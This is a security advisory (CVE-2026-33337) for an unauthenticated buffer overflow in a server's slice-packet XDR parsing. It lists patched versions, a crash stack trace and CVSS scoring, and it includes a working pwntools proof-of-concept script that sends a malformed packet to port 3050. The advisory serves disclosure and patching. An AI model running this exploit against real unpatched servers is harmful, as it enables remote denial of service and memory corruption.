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Buffer overflow on parsing corrupted slice packet

High
dyemanov published GHSA-89mq-229g-x47p Apr 17, 2026

Package

No package listed

Affected versions

>= 3

Patched versions

6.0, 5.0.4, 4.0.7, 3.0.14

Description

Summary

An unsafe deserialization of slice packet allows any unauthenticated user to perform a buffer overflow attack, which could lead to server crash or security vulnerabilities.

Details

The main bug is in bool_t xdr_datum(xdr_t* xdrs, const dsc* desc, UCHAR* buffer) when desc is a cstring. When parsing a cstring, compliance with the slice descriptor is not checked, i.e., if the length of the cstring exceeds the length of the descriptor (or the length of the entire slice), this cstring will be written to a buffer whose length is equal to the length of the slice, which will lead to a buffer overflow.

Stacktrace when a program crashes due to buffer overflow 
#0  __memcpy_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:265
#1  REMOTE_getbytes (xdrs=0x7ffff7e53600, buff=0x7ffff7e55664 "", bytecount=51852) at src/remote/remote.cpp:755
#2  InetXdr::x_getbytes (this=0x7ffff7e53600, buff=0x7ffff7e53690 'a' <repeats 40 times>, "\377\377\377\377", bytecount=60000) at src/remote/inet.cpp:2580
#3  xdr_opaque (xdrs=0x7ffff7e53600, p=0x7ffff7e53690 'a' <repeats 40 times>, "\377\377\377\377", len=60000) at src/common/xdr.cpp:602
#4  xdr_datum (xdrs=0x7ffff7e53600, desc=0x7fffffffc758, buffer=0x7ffff7e53690 'a' <repeats 40 times>, "\377\377\377\377") at src/common/xdr.cpp:214
#5  xdr_slice (xdrs=0x7ffff7e53600, slice=0x7ffff23c29f8, sdl=0x7ffff7e53260 "\001\006\001(\004") at src/remote/protocol.cpp:1883
#6  xdr_protocol (xdrs=0x7ffff7e53600, p=0x7ffff23c2730) at src/remote/protocol.cpp:620
#7  receive (main_port=0x7ffff7e4be40, packet=0x7ffff23c2730) at src/remote/inet.cpp:2041
#8  rem_port::receive (this=0x7ffff7e4be40, pckt=0x7ffff23c2730) at src/remote/remote.cpp:664
#9  SRVR_multi_thread (main_port=0x7ffff7e456c0, flags=2) at src/remote/server/server.cpp:1787
#10 main (argc=1, argv=0x7fffffffd9d0) at src/remote/server/os/posix/inet_server.cpp:582

PoC

To reproduce the vulnerability, simply run the server and the Python script to emulate the malicious packet.

Python script 
from pwn import *


def u32be(x: int) -> bytes:
    return p32(x & 0xFFFFFFFF, endian="big")

def xdr_bytes(data: bytes) -> bytes:
    n = len(data)
    pad = (4 - n) & 3
    return u32be(n) + data + (b"\x00" * pad)

def build_desc_str(field_len: int) -> bytes:
    return bytes([0x01, 0x06, 0x01, 0x28, field_len & 0xFF, (field_len >> 8) & 0xFF, 0xFF])

def build_slice_pkg(desc: bytes, buf_len: int, rec_len: int) -> bytes:
    exp1 = b'a'*40 + p32(0xffffffff) + p32(0) + p64(0x400000) # control src, ln in memcpy
    pkt = b""
    pkt += u32be(0x3B)
    pkt += u32be(0)
    pkt += u32be(0) + u32be(0)
    pkt += u32be(0)
    pkt += xdr_bytes(desc)
    pkt += u32be(0)
    pkt += u32be(buf_len)
    pkt += u32be(rec_len)
    pkt += exp1
    pkt += b'a' * (rec_len - len(exp1))
    pkt += b"\x00" * ((4 - rec_len) & 3)
    return pkt


desc = build_desc_str(4)
pkt = build_slice_pkg(desc, 4, 60000)

p = remote("127.0.0.1", 3050)

p.send(pkt)
p.interactive()

Impact

Essentially, every server is affected.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-33337

Weaknesses

No CWEs